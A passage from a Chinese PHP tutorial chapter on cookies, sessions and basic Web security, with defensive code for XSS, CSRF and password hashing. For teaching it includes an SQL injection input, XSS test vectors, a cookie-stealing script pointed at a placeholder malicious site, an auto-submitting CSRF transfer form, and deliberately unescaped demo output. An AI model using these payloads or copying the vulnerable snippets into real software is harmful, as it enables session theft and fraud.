《零基础学 PHP:从入门到实战》模块十:从应用到精通——掌握PHP进阶技术与现代化开发实战-3

第3章:会话控制与Web安全基础

章节介绍

学习目标

通过本章的学习,你将能够:

  1. 理解Cookie和Session在Web开发中的作用与原理
  2. 掌握使用PHP实现用户登录状态维持的技术
  3. 识别常见的Web安全威胁并掌握基础防护方法
  4. 实现一个安全的用户认证系统,包含密码加密、会话管理和安全过滤

在整个教程中的作用

本章是构建完整Web应用的关键环节。前两章分别讲解了如何用面向对象的方式组织代码结构,以及如何安全高效地与数据库交互。本章将学习如何在这些基础上,实现用户状态管理保障应用安全。这是从"功能实现"到"生产可用"的重要跨越,任何面向用户的Web应用都离不开会话控制和安全防护。

与前面章节的衔接

  • 基于第1章的User类,本章将为其实添加登录状态管理功能
  • 使用第2章的PDO数据库操作,确保用户认证过程中的数据安全
  • 为第5章的综合实战项目打下安全基础

本章主要内容概览

  1. Cookie和Session的基础原理与使用
  2. 实现完整的用户登录、状态维持和退出功能
  3. 深入探讨三种常见Web安全威胁及其防护
  4. 密码安全存储的最佳实践
  5. 综合实战:构建带安全防护的用户管理系统

核心概念讲解

1. Cookie:客户端的存储机制

概念与原理

Cookie是服务器发送到用户浏览器并保存在本地的一小块数据。当浏览器再次向同一服务器发起请求时,会自动携带Cookie数据。
工作原理:

复制代码
1. 客户端首次访问 → 2. 服务器响应并设置Cookie → 3. 客户端保存Cookie
4. 客户端再次访问 → 5. 浏览器自动携带Cookie → 6. 服务器读取Cookie
应用场景
  • 用户偏好设置(如语言、主题)
  • 购物车商品暂存
  • 简单的登录状态保持(需结合安全考虑)
  • 用户行为追踪(需注意隐私政策)
注意事项
  1. 大小限制:每个Cookie一般不超过4KB
  2. 数量限制:每个域名下的Cookie数量有限制(通常20-50个)
  3. 安全性:敏感信息不应存储在Cookie中
  4. 生命周期:可设置过期时间,不设置则关闭浏览器即失效

2. Session:服务器端的会话管理

概念与原理

Session将会话数据存储在服务器端,客户端只保存一个Session ID(通常通过Cookie传递)。相比Cookie,Session更安全,适合存储敏感信息。
工作原理:

复制代码
1. 客户端访问 → 2. 服务器创建Session → 3. 返回Session ID给客户端
4. 客户端后续请求携带Session ID → 5. 服务器根据ID找到对应Session数据
Session配置

PHP中可通过php.iniini_set()配置Session:

  • session.gc_maxlifetime:Session过期时间(秒)
  • session.cookie_secure:仅通过HTTPS传输Session ID
  • session.cookie_httponly:防止JavaScript访问Session Cookie
最佳实践
  1. 及时销毁不再需要的Session数据
  2. 使用HTTPS传输Session ID
  3. 定期更换Session ID(会话固定攻击防护)
  4. 验证Session来源(检查IP、User-Agent等)

3. Web安全基础:三大常见威胁

SQL注入(复习与深化)

虽然第2章已通过PDO预处理语句防护,但理解攻击原理仍很重要。
攻击原理:攻击者通过构造特殊输入,改变SQL语句的原始意图。

sql 复制代码
-- 原始语句
SELECT * FROM users WHERE username = '$input' AND password = '$pass'

-- 攻击输入:admin' OR '1'='1
-- 最终语句
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '$pass'
-- '1'='1'永远为真,可能绕过认证
跨站脚本攻击(XSS)

XSS攻击通过在网页中注入恶意脚本,在用户浏览器中执行。
三种类型

  1. 反射型XSS:恶意脚本来自当前HTTP请求
  2. 存储型XSS:恶意脚本存储到服务器,影响所有访问用户
  3. DOM型XSS:通过修改DOM环境在客户端执行
跨站请求伪造(CSRF)

攻击者诱使用户在已登录的状态下访问恶意页面,该页面自动向目标网站发起请求,利用用户的登录凭证执行非授权操作。
攻击场景

  1. 用户登录了银行网站A
  2. 用户访问了恶意网站B
  3. 网站B中的代码自动向网站A发起转账请求
  4. 浏览器自动携带用户的Cookie,请求被成功执行

代码示例

示例1:Cookie的基本使用

php 复制代码
<?php
// 示例1:设置和读取Cookie
// 设置一个Cookie,有效期为1小时
setcookie('user_language', 'zh-CN', time() + 3600, '/', 'example.com', true, true);
// 参数说明:名称,值,过期时间,路径,域名,仅HTTPS,仅HTTP访问
// 设置多个Cookie值(数组形式)
setcookie('user_preferences[theme]', 'dark', time() + 86400);
setcookie('user_preferences[font_size]', 'medium', time() + 86400);

// 读取Cookie
if (isset($_COOKIE['user_language'])) {
    $language = $_COOKIE['user_language'];
    echo "用户设置的语言:$language<br>";
}

// 读取数组形式的Cookie
if (isset($_COOKIE['user_preferences'])) {
    $prefs = $_COOKIE['user_preferences'];
    echo "主题:{$prefs['theme']},字体大小:{$prefs['font_size']}<br>";
}

// 删除Cookie(设置过期时间为过去的时间)
setcookie('user_language', '', time() - 3600, '/', 'example.com', true, true);

// 安全提示:验证Cookie数据
$cookieValue = isset($_COOKIE['user_data']) ? $_COOKIE['user_data'] : '';
if (!preg_match('/^[a-zA-Z0-9]+$/', $cookieValue)) {
    // 如果Cookie包含非法字符,可能是篡改攻击
setcookie('user_data', '', time() - 3600);
    echo "检测到异常的Cookie数据,已清除<br>";
}
?>

<!-- 实际应用:记住登录状态 -->
<?php
// 模拟用户登录
function rememberLogin($username, $days = 30) {
    // 生成安全的记住我令牌
$token = bin2hex(random_bytes(32));
    $hashedToken = password_hash($token, PASSWORD_DEFAULT);
    
    // 存储哈希到数据库(实际开发中需要)
// storeTokenInDatabase($username, $hashedToken);
    
    // 设置Cookie - 用户名和令牌分开存储更安全
setcookie('remember_user', $username, time() + (86400 * $days), '/', '', true, true);
    setcookie('remember_token', $token, time() + (86400 * $days), '/', '', true, true);
    
    return $token;
}

// 验证记住我令牌
function validateRememberToken($username, $token) {
    // 从数据库获取哈希值
// $storedHash = getTokenFromDatabase($username);
    
    // 模拟验证
$storedHash = password_hash('模拟的令牌', PASSWORD_DEFAULT);
    
    if (password_verify($token, $storedHash)) {
        // 令牌有效,重新生成令牌防止重用
$newToken = bin2hex(random_bytes(32));
        // updateTokenInDatabase($username, password_hash($newToken, PASSWORD_DEFAULT));
        setcookie('remember_token', $newToken, time() + (86400 * 30), '/', '', true, true);
        return true;
    }
    return false;
}
?>

示例2:Session的完整使用流程

php 复制代码
<?php
// 示例2:Session的基本操作
// 1. 启动Session(必须在任何输出之前)
session_start();

// 检查Session是否是新创建的
if (session_status() === PHP_SESSION_NONE) {
    die('Session启动失败');
}

// 2. 设置Session配置(也可以在php.ini中配置)
ini_set('session.cookie_secure', 1);      // 仅通过HTTPS传输
ini_set('session.cookie_httponly', 1);    // 防止JavaScript访问
ini_set('session.cookie_samesite', 'Strict'); // 防止CSRF
ini_set('session.use_strict_mode', 1);    // 只接受服务器生成的Session ID
ini_set('session.gc_maxlifetime', 1800);  // 30分钟过期
// 3. 存储数据到Session
$_SESSION['user_id'] = 123;
$_SESSION['username'] = '张三';
$_SESSION['login_time'] = time();
$_SESSION['user_data'] = [
    'email' => 'zhangsan@example.com',
    'role' => 'admin',
    'last_login' => date('Y-m-d H:i:s')
];

// 4. 读取Session数据
echo "当前Session ID: " . session_id() . "<br>";
echo "用户ID: " . ($_SESSION['user_id'] ?? '未设置') . "<br>";
echo "用户名: " . ($_SESSION['username'] ?? '未设置') . "<br>";

// 5. 检查Session是否过期
if (isset($_SESSION['login_time'])) {
    $sessionAge = time() - $_SESSION['login_time'];
    if ($sessionAge > 1800) { // 超过30分钟
echo "Session已过期,需要重新登录<br>";
        session_destroy();
    } else {
        echo "Session活跃时间: {$sessionAge}秒<br>";
    }
}

// 6. 更新Session ID(防止会话固定攻击)
function regenerateSession() {
    // 保存旧Session数据
$oldSessionData = $_SESSION;
    
    // 销毁旧Session
    session_destroy();
    
    // 重新生成Session ID
    session_start();
    session_regenerate_id(true);
    
    // 恢复数据
$_SESSION = $oldSessionData;
    $_SESSION['last_regenerated'] = time();
    
    return session_id();
}

// 重要操作前更新Session ID
if (!isset($_SESSION['last_regenerated']) || (time() - $_SESSION['last_regenerated']) > 300) {
    $newSessionId = regenerateSession();
    echo "Session ID已更新: $newSessionId<br>";
}

// 7. 安全地销毁Session
function safeLogout() {
    // 清除所有Session变量
$_SESSION = [];
    
    // 删除Session Cookie
    if (ini_get("session.use_cookies")) {
        $params = session_get_cookie_params();
        setcookie(
            session_name(),
            '',
            time() - 42000,
            $params["path"],
            $params["domain"],
            $params["secure"],
            $params["httponly"]
        );
    }
    
    // 最后销毁Session
    session_destroy();
    
    // 重定向到登录页
header('Location: login.php');
    exit;
}

// 8. Session数据序列化示例(了解原理)
echo "Session原始数据格式示例:<br>";
$sampleData = ['key' => 'value', 'number' => 42];
$serialized = serialize($sampleData);
echo "序列化: $serialized<br>";

$unserialized = unserialize($serialized);
echo "反序列化后: ";
print_r($unserialized);
echo "<br>";

// 注意:不要反序列化不可信的数据,有安全风险
?>

<!-- 实际应用:用户登录状态管理 -->
<?php
class SessionManager {
    private const SESSION_TIMEOUT = 1800; // 30分钟
public static function startSecureSession() {
        // 防止Session fixation攻击
if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }
        
        // 如果是新Session,标记为新的
if (!isset($_SESSION['created'])) {
            $_SESSION['created'] = time();
        }
        
        // 检查Session是否过期
self::checkTimeout();
        
        // 定期更新Session ID
        self::regenerateIfNeeded();
    }
    
    private static function checkTimeout() {
        if (isset($_SESSION['last_activity']) && 
            (time() - $_SESSION['last_activity']) > self::SESSION_TIMEOUT) {
            // Session过期,销毁并重新开始
session_unset();
            session_destroy();
            session_start();
            $_SESSION['expired'] = true;
        }
        
        // 更新最后活动时间
$_SESSION['last_activity'] = time();
    }
    
    private static function regenerateIfNeeded() {
        $regenerateInterval = 300; // 每5分钟更新一次Session ID
        
        if (!isset($_SESSION['last_regenerated'])) {
            $_SESSION['last_regenerated'] = time();
        } elseif ((time() - $_SESSION['last_regenerated']) > $regenerateInterval) {
            session_regenerate_id(true);
            $_SESSION['last_regenerated'] = time();
        }
    }
    
    public static function setUserData($userId, $userData) {
        $_SESSION['user_id'] = $userId;
        $_SESSION['user_data'] = $userData;
        $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        $_SESSION['last_activity'] = time();
    }
    
    public static function validateSession() {
        // 验证Session是否被劫持
if (!isset($_SESSION['ip_address'], $_SESSION['user_agent'])) {
            return false;
        }
        
        if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
            // IP地址变化,可能是攻击
return false;
        }
        
        if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
            // User-Agent变化,可能是攻击
return false;
        }
        
        return true;
    }
}

// 使用示例
SessionManager::startSecureSession();
if (SessionManager::validateSession()) {
    echo "Session验证通过<br>";
} else {
    echo "Session验证失败,可能存在安全风险<br>";
    safeLogout();
}
?>

示例3:XSS攻击与防护

php 复制代码
<?php
// 示例3:XSS攻击演示与防护
// ==================== 攻击场景演示 ====================

// 场景1:反射型XSS(非持久化)
if (isset($_GET['search'])) {
    $searchTerm = $_GET['search'];
    
    echo "<h2>反射型XSS漏洞示例(危险代码):</h2>";
    echo "搜索结果: " . $searchTerm . "<br>";
    // 攻击者可以输入: <script>alert('XSS攻击')</script>
    // 或更危险的: <script>document.location='http://恶意网站/?cookie='+document.cookie</script>
}

// 场景2:存储型XSS(持久化)
// 假设这是从数据库读取的用户评论
$dangerousComments = [
    '这个产品真好!',
    '<script>alert("我是恶意脚本")</script>',
    '<img src="x" onerror="alert(\'XSS\')">',
    '<a href="javascript:alert(\'XSS\')">点击我</a>'
];

echo "<h2>存储型XSS漏洞示例:</h2>";
foreach ($dangerousComments as $comment) {
    echo "<div class='comment'>$comment</div><br>";
}

// ==================== 防护方案 ====================

echo "<h2>XSS防护方案:</h2>";

// 方案1:htmlspecialchars() - 转义HTML特殊字符
function safeOutput($input) {
    // 转换所有特殊字符为HTML实体
return htmlspecialchars($input, ENT_QUOTES | ENT_HTML5, 'UTF-8', false);
}

// 方案2:strip_tags() - 移除HTML标签(不够安全,可能被绕过)
function stripTags($input, $allowedTags = '') {
    return strip_tags($input, $allowedTags);
}

// 方案3:使用HTML净化库(推荐)
// 实际项目中可以使用:HTML Purifier, Symfony HTML Sanitizer等
// 方案4:内容安全策略(CSP) - HTTP头防护
function setCSPHeaders() {
    header("Content-Security-Policy: default-src 'self'; script-src 'self' https:// trusted.cdn.com; style-src 'self' 'unsafe-inline';");
    // 禁止内联脚本执行,只允许指定来源的脚本
}

// 实际应用示例
echo "<h3>安全输出示例:</h3>";

$userInput = '<script>alert("攻击")</script><b>正常文本</b>';
echo "原始输入: " . $userInput . "<br>";
echo "htmlspecialchars处理后: " . safeOutput($userInput) . "<br>";
echo "strip_tags处理后: " . stripTags($userInput) . "<br>";

// 针对不同上下文的处理
function sanitizeForContext($input, $context) {
    switch ($context) {
        case 'html':
            return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
            
        case 'attribute':
            // 移除可能破坏属性的字符
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
            
        case 'url':
            // 验证URL
            if (filter_var($input, FILTER_VALIDATE_URL)) {
                return $input;
            }
            return '';
            
        case 'css':
            // 移除危险CSS
            return preg_replace('/[<>]/', '', $input);
            
        case 'javascript':
            // JSON编码
return json_encode($input);
            
        default:
            return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }
}

// 实战:评论系统防护
class CommentSystem {
    private $db;
    
    public function __construct($db) {
        $this->db = $db;
    }
    
    public function addComment($userId, $content) {
        // 1. 验证用户输入
if (empty($content) || strlen($content) > 1000) {
            throw new Exception('评论内容无效或过长');
        }
        
        // 2. 清理内容
$cleanContent = $this->sanitizeComment($content);
        
        // 3. 存储到数据库(使用预处理语句)
$stmt = $this->db->prepare("INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())");
        $stmt->execute([$userId, $cleanContent]);
        
        return $this->db->lastInsertId();
    }
    
    public function getComments($postId) {
        $stmt = $this->db->prepare("SELECT * FROM comments WHERE post_id = ? ORDER BY created_at DESC");
        $stmt->execute([$postId]);
        $comments = $stmt->fetchAll(PDO::FETCH_ASSOC);
        
        // 安全输出
foreach ($comments as &$comment) {
            $comment['content'] = $this->safeDisplay($comment['content']);
        }
        
        return $comments;
    }
    
    private function sanitizeComment($content) {
        // 移除危险标签,只保留安全标签
$allowedTags = '<p><br><b><i><u><strong><em><a><code><pre>';
        $content = strip_tags($content, $allowedTags);
        
        // 转义特殊字符
$content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
        
        // 移除多余的空白
$content = trim($content);
        
        return $content;
    }
    
    private function safeDisplay($content) {
        // 双重防护:虽然数据库已存储清理后的内容,输出时再次转义
return htmlspecialchars($content, ENT_QUOTES, 'UTF-8', false);
    }
}

// XSS测试工具函数
function testXSSVectors() {
    $testVectors = [
        '<script>alert(1)</script>',
        '<img src=x onerror=alert(1)>',
        '<svg onload=alert(1)>',
        '<body onload=alert(1)>',
        '<iframe src="javascript:alert(1)">',
        '<a href="javascript:alert(1)">click</a>',
        '<form><button formaction="javascript:alert(1)">X</button></form>',
        '"><script>alert(1)</script>',
        "'><script>alert(1)</script>",
        '`><script>alert(1)</script>',
    ];
    
    foreach ($testVectors as $vector) {
        $safe = safeOutput($vector);
        echo "测试向量: " . htmlspecialchars($vector) . "<br>";
        echo "防护后: $safe<br>";
        echo "是否安全: " . (strpos($safe, '<script>') === false ? '是' : '否') . "<br><br>";
    }
}

echo "<h3>XSS攻击向量测试:</h3>";
testXSSVectors();
?>

示例4:CSRF攻击与防护

php 复制代码
<?php
// 示例4:CSRF攻击演示与防护
// ==================== 攻击场景演示 ====================

echo "<h2>CSRF攻击示例:</h2>";

// 假设这是银行转账页面(存在CSRF漏洞)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['transfer'])) {
    session_start();
    
    // 验证用户是否登录(但不验证请求来源)
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
        die('请先登录');
    }
    
    // 执行转账操作
$amount = $_POST['amount'];
    $toAccount = $_POST['to_account'];
    
    echo "<div style='background-color: #ffcccc; padding: 10px;'>";
    echo "⚠️ 危险!未受保护的转账操作执行成功<br>";
    echo "转账金额: $amount 到账户: $toAccount<br>";
    echo "这个操作可以被CSRF攻击利用!";
    echo "</div>";
}

// ==================== 防护方案 ====================

echo "<h2>CSRF防护方案:</h2>";

// 方案1:CSRF令牌(最常用)
class CSRFToken {
    private static $tokenName = 'csrf_token';
    
    public static function generate() {
        if (empty($_SESSION[self::$tokenName])) {
            $_SESSION[self::$tokenName] = bin2hex(random_bytes(32));
        }
        return $_SESSION[self::$tokenName];
    }
    
    public static function validate($token) {
        if (empty($_SESSION[self::$tokenName]) || empty($token)) {
            return false;
        }
        
        return hash_equals($_SESSION[self::$tokenName], $token);
    }
    
    public static function getField() {
        $token = self::generate();
        return "<input type='hidden' name='" . self::$tokenName . "' value='$token'>";
    }
    
    public static function verifyRequest() {
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            $token = $_POST[self::$tokenName] ?? '';
            if (!self::validate($token)) {
                throw new Exception('CSRF令牌验证失败');
            }
        }
    }
}

// 方案2:双重提交Cookie
class DoubleSubmitCookie {
    public static function setCookie() {
        $token = bin2hex(random_bytes(16));
        setcookie('csrf_cookie', $token, time() + 3600, '/', '', true, true);
        return $token;
    }
    
    public static function validate() {
        $cookieToken = $_COOKIE['csrf_cookie'] ?? '';
        $formToken = $_POST['csrf_token'] ?? '';
        
        return !empty($cookieToken) && !empty($formToken) && 
               hash_equals($cookieToken, $formToken);
    }
}

// 方案3:同源检测
function checkOrigin() {
    $allowedOrigins = ['https:// example.com', 'https://www.example.com'];
    $origin = $_SERVER['HTTP_ORIGIN'] ?? $_SERVER['HTTP_REFERER'] ?? '';
    
    foreach ($allowedOrigins as $allowed) {
        if (strpos($origin, $allowed) === 0) {
            return true;
        }
    }
    
    return false;
}

// 方案4:自定义请求头(AJAX请求)
function checkCustomHeader() {
    return isset($_SERVER['HTTP_X_REQUESTED_WITH']) && 
           $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest';
}

// 实际应用:安全的表单处理
class SecureForm {
    private $tokenName;
    
    public function __construct($tokenName = 'csrf_token') {
        $this->tokenName = $tokenName;
        session_start();
    }
    
    public function createForm($action, $method = 'POST') {
        $token = CSRFToken::generate();
        
        $form = "<form action='$action' method='$method'>";
        $form .= CSRFToken::getField();
        $form .= "<!-- 其他表单字段 -->";
        $form .= "<input type='submit' value='提交'>";
        $form .= "</form>";
        
        return $form;
    }
    
    public function processForm() {
        try {
            CSRFToken::verifyRequest();
            
            // 处理表单数据
$data = $this->sanitizeInput($_POST);
            
            // 业务逻辑...
            return $data;
            
        } catch (Exception $e) {
            error_log('CSRF攻击尝试: ' . $e->getMessage());
            return false;
        }
    }
    
    private function sanitizeInput($data) {
        $clean = [];
        foreach ($data as $key => $value) {
            if ($key !== $this->tokenName) {
                $clean[$key] = is_array($value) ? 
                    array_map('htmlspecialchars', $value) : 
                    htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
            }
        }
        return $clean;
    }
}

// 使用示例
echo "<h3>安全表单示例:</h3>";

$secureForm = new SecureForm();
echo $secureForm->createForm('process.php');

// 模拟攻击页面(恶意网站)
echo "<h3>CSRF攻击页面模拟:</h3>";
echo <<<HTML
<div style="border: 2px solid red; padding: 10px; margin: 10px;">
<h4>恶意网站上的攻击代码:</h4>
<pre>
&lt;form action="http:// victim.com/transfer.php" method="POST" id="maliciousForm"&gt;
    &lt;input type="hidden" name="amount" value="10000"&gt;
    &lt;input type="hidden" name="to_account" value="attacker_account"&gt;
&lt;/form&gt;
&lt;script&gt;
    // 自动提交表单
document.getElementById('maliciousForm').submit();
&lt;/script&gt;
</pre>
<p>如果用户已经登录受害网站,这个表单会自动提交转账请求</p>
</div>
HTML;

// 防御后的安全页面
echo "<h3>防护后的安全转账页面:</h3>";
echo <<<HTML
<form action="safe_transfer.php" method="POST">
    <input type="hidden" name="csrf_token" value="动态生成的令牌">
    <label>转账金额:<input type="number" name="amount"></label><br>
    <label>目标账户:<input type="text" name="to_account"></label><br>
    <input type="submit" value="确认转账">
</form>
<p>攻击者无法获取动态生成的CSRF令牌,因此攻击失败</p>
HTML;

// 完整的CSRF防护中间件
class CSRFTokenManager {
    private $sessionKey = 'csrf_tokens';
    
    public function __construct() {
        if (session_status() === PHP_SESSION_NONE) {
            session_start();
        }
        
        // 初始化令牌数组
if (!isset($_SESSION[$this->sessionKey])) {
            $_SESSION[$this->sessionKey] = [];
        }
    }
    
    public function generateToken($formId = 'default') {
        $token = bin2hex(random_bytes(32));
        $hashedToken = hash('sha256', $token);
        
        // 存储哈希值,限制令牌数量
$_SESSION[$this->sessionKey][$formId] = [
            'hash' => $hashedToken,
            'created' => time(),
            'expires' => time() + 3600 // 1小时过期
];
        
        // 清理过期令牌
$this->cleanupExpiredTokens();
        
        return $token;
    }
    
    public function validateToken($token, $formId = 'default') {
        if (empty($token)) {
            return false;
        }
        
        if (!isset($_SESSION[$this->sessionKey][$formId])) {
            return false;
        }
        
        $stored = $_SESSION[$this->sessionKey][$formId];
        
        // 检查是否过期
if (time() > $stored['expires']) {
            unset($_SESSION[$this->sessionKey][$formId]);
            return false;
        }
        
        // 安全地比较哈希值
$isValid = hash_equals($stored['hash'], hash('sha256', $token));
        
        // 使用后销毁(一次性令牌)
if ($isValid) {
            unset($_SESSION[$this->sessionKey][$formId]);
        }
        
        return $isValid;
    }
    
    private function cleanupExpiredTokens() {
        foreach ($_SESSION[$this->sessionKey] as $formId => $data) {
            if (time() > $data['expires']) {
                unset($_SESSION[$this->sessionKey][$formId]);
            }
        }
    }
    
    public function getTokenField($formId = 'default') {
        $token = $this->generateToken($formId);
        return "<input type='hidden' name='csrf_token' value='$token'>";
    }
}

// 使用一次性令牌的示例
echo "<h3>一次性CSRF令牌示例:</h3>";
$csrfManager = new CSRFTokenManager();

// 生成表单
$formToken = $csrfManager->generateToken('transfer_form');
echo "<form method='POST'>";
echo "<input type='hidden' name='csrf_token' value='$formToken'>";
echo "<input type='submit' value='安全提交'>";
echo "</form>";

// 验证逻辑
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $submittedToken = $_POST['csrf_token'] ?? '';
    if ($csrfManager->validateToken($submittedToken, 'transfer_form')) {
        echo "<p style='color: green;'>✅ CSRF令牌验证成功</p>";
    } else {
        echo "<p style='color: red;'>❌ CSRF令牌验证失败或已使用</p>";
    }
}
?>

示例5:密码安全存储与验证

php 复制代码
<?php
// 示例5:密码安全存储与验证
echo "<h2>密码安全存储最佳实践:</h2>";

// ==================== 错误的密码处理方式 ====================

echo "<h3 style='color: red;'>❌ 错误的方式:</h3>";

// 错误1:明文存储
$badPassword1 = '123456';
echo "明文存储: $badPassword1<br>";

// 错误2:简单MD5哈希(无盐值)
$badPassword2 = md5('123456');
echo "简单MD5: $badPassword2<br>";
echo "攻击者可以使用彩虹表轻易破解<br>";

// 错误3:固定盐值
$fixedSalt = 'mysalt';
$badPassword3 = md5('123456' . $fixedSalt);
echo "固定盐值MD5: $badPassword3<br>";
echo "盐值固定,一旦泄露所有用户受影响<br>";

// ==================== 正确的密码处理方式 ====================

echo "<h3 style='color: green;'>✅ 正确的方式:</h3>";

class PasswordSecurity {
    // 使用PHP内置的password_hash函数
public static function hashPassword($password) {
        // PASSWORD_DEFAULT 使用当前最佳的算法(目前是bcrypt)
// 会自动生成随机盐值
return password_hash($password, PASSWORD_DEFAULT);
    }
    
    public static function verifyPassword($password, $hash) {
        return password_verify($password, $hash);
    }
    
    public static function needsRehash($hash) {
        // 检查密码是否需要重新哈希(算法更新时)
return password_needs_rehash($hash, PASSWORD_DEFAULT);
    }
    
    // 生成强密码
public static function generateStrongPassword($length = 12) {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?';
        $password = '';
        
        for ($i = 0; $i < $length; $i++) {
            $password .= $chars[random_int(0, strlen($chars) - 1)];
        }
        
        return $password;
    }
    
    // 密码强度检查
public static function checkPasswordStrength($password) {
        $strength = 0;
        $messages = [];
        
        // 长度检查
if (strlen($password) >= 8) {
            $strength += 20;
        } else {
            $messages[] = '密码至少需要8个字符';
        }
        
        // 大写字母检查
if (preg_match('/[A-Z]/', $password)) {
            $strength += 20;
        } else {
            $messages[] = '需要包含大写字母';
        }
        
        // 小写字母检查
if (preg_match('/[a-z]/', $password)) {
            $strength += 20;
        } else {
            $messages[] = '需要包含小写字母';
        }
        
        // 数字检查
if (preg_match('/[0-9]/', $password)) {
            $strength += 20;
        } else {
            $messages[] = '需要包含数字';
        }
        
        // 特殊字符检查
if (preg_match('/[^A-Za-z0-9]/', $password)) {
            $strength += 20;
        } else {
            $messages[] = '需要包含特殊字符';
        }
        
        // 常见弱密码检查
$weakPasswords = ['123456', 'password', '12345678', 'qwerty', 'abc123'];
        if (in_array($password, $weakPasswords)) {
            $strength = 0;
            $messages[] = '密码过于常见,请更换';
        }
        
        return [
            'strength' => $strength,
            'messages' => $messages,
            'level' => $strength >= 80 ? '强' : ($strength >= 60 ? '中' : '弱')
        ];
    }
}

// 实际使用示例
echo "<h4>密码哈希演示:</h4>";

$testPassword = 'MySecurePass123!';

// 哈希密码
$hashedPassword = PasswordSecurity::hashPassword($testPassword);
echo "原始密码: $testPassword<br>";
echo "哈希后: $hashedPassword<br>";
echo "哈希长度: " . strlen($hashedPassword) . " 字符<br>";

// 验证密码
$isValid = PasswordSecurity::verifyPassword($testPassword, $hashedPassword);
echo "密码验证: " . ($isValid ? '✅ 成功' : '❌ 失败') . "<br>";

// 错误的密码验证
$wrongPassword = 'WrongPass';
$isValid = PasswordSecurity::verifyPassword($wrongPassword, $hashedPassword);
echo "错误密码验证: " . ($isValid ? '✅ 成功' : '❌ 失败') . "<br>";

// 密码强度检查
echo "<h4>密码强度检查:</h4>";
$weakPasswords = ['123', 'password', 'Pass123', 'StrongPass123!'];

foreach ($weakPasswords as $pwd) {
    $result = PasswordSecurity::checkPasswordStrength($pwd);
    echo "密码: $pwd<br>";
    echo "强度: {$result['strength']}% ({$result['level']})<br>";
    if (!empty($result['messages'])) {
        echo "建议: " . implode(', ', $result['messages']) . "<br>";
    }
    echo "<br>";
}

// 生成强密码
echo "<h4>生成强密码:</h4>";
for ($i = 0; $i < 3; $i++) {
    $strongPassword = PasswordSecurity::generateStrongPassword();
    echo "建议密码 $i: $strongPassword<br>";
}

// 完整的用户认证类
class SecureAuth {
    private $db;
    private $maxAttempts = 5;
    private $lockoutTime = 900; // 15分钟
public function __construct(PDO $db) {
        $this->db = $db;
    }
    
    public function register($username, $email, $password) {
        // 验证输入
if (!$this->validateInput($username, $email, $password)) {
            throw new Exception('输入验证失败');
        }
        
        // 检查用户是否已存在
if ($this->userExists($username, $email)) {
            throw new Exception('用户名或邮箱已存在');
        }
        
        // 哈希密码
$hashedPassword = password_hash($password, PASSWORD_DEFAULT);
        
        // 生成验证token(用于邮箱验证)
$verificationToken = bin2hex(random_bytes(32));
        
        // 存储到数据库
$stmt = $this->db->prepare("
            INSERT INTO users (username, email, password_hash, verification_token, created_at) 
            VALUES (?, ?, ?, ?, NOW())
        ");
        
        return $stmt->execute([$username, $email, $hashedPassword, $verificationToken]);
    }
    
    public function login($username, $password) {
        // 检查登录尝试次数
if ($this->isLockedOut($username)) {
            throw new Exception('账户已被锁定,请15分钟后再试');
        }
        
        // 获取用户信息
$user = $this->getUserByUsername($username);
        if (!$user) {
            $this->recordFailedAttempt($username);
            throw new Exception('用户名或密码错误');
        }
        
        // 验证密码
if (!password_verify($password, $user['password_hash'])) {
            $this->recordFailedAttempt($username);
            throw new Exception('用户名或密码错误');
        }
        
        // 检查是否需要重新哈希
if (password_needs_rehash($user['password_hash'], PASSWORD_DEFAULT)) {
            $this->upgradePassword($user['id'], $password);
        }
        
        // 重置失败计数
$this->resetFailedAttempts($username);
        
        // 生成会话令牌
$sessionToken = $this->generateSessionToken($user['id']);
        
        return [
            'user_id' => $user['id'],
            'username' => $user['username'],
            'session_token' => $sessionToken,
            'requires_2fa' => $user['two_factor_enabled']
        ];
    }
    
    public function changePassword($userId, $oldPassword, $newPassword) {
        // 获取当前密码哈希
$stmt = $this->db->prepare("SELECT password_hash FROM users WHERE id = ?");
        $stmt->execute([$userId]);
        $user = $stmt->fetch();
        
        if (!$user || !password_verify($oldPassword, $user['password_hash'])) {
            throw new Exception('原密码错误');
        }
        
        // 验证新密码强度
$strength = PasswordSecurity::checkPasswordStrength($newPassword);
        if ($strength['strength'] < 60) {
            throw new Exception('新密码强度不足: ' . implode(', ', $strength['messages']));
        }
        
        // 更新密码
$newHash = password_hash($newPassword, PASSWORD_DEFAULT);
        $stmt = $this->db->prepare("UPDATE users SET password_hash = ?, password_changed_at = NOW() WHERE id = ?");
        
        return $stmt->execute([$newHash, $userId]);
    }
    
    private function validateInput($username, $email, $password) {
        // 用户名验证(只允许字母数字和下划线)
if (!preg_match('/^[a-zA-Z0-9_]{3,20}$/', $username)) {
            return false;
        }
        
        // 邮箱验证
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return false;
        }
        
        // 密码强度
$strength = PasswordSecurity::checkPasswordStrength($password);
        return $strength['strength'] >= 60;
    }
    
    private function userExists($username, $email) {
        $stmt = $this->db->prepare("SELECT id FROM users WHERE username = ? OR email = ?");
        $stmt->execute([$username, $email]);
        return $stmt->fetch() !== false;
    }
    
    private function getUserByUsername($username) {
        $stmt = $this->db->prepare("SELECT * FROM users WHERE username = ?");
        $stmt->execute([$username]);
        return $stmt->fetch(PDO::FETCH_ASSOC);
    }
    
    private function isLockedOut($username) {
        $stmt = $this->db->prepare("
            SELECT COUNT(*) as attempts, MAX(attempt_time) as last_attempt 
            FROM login_attempts 
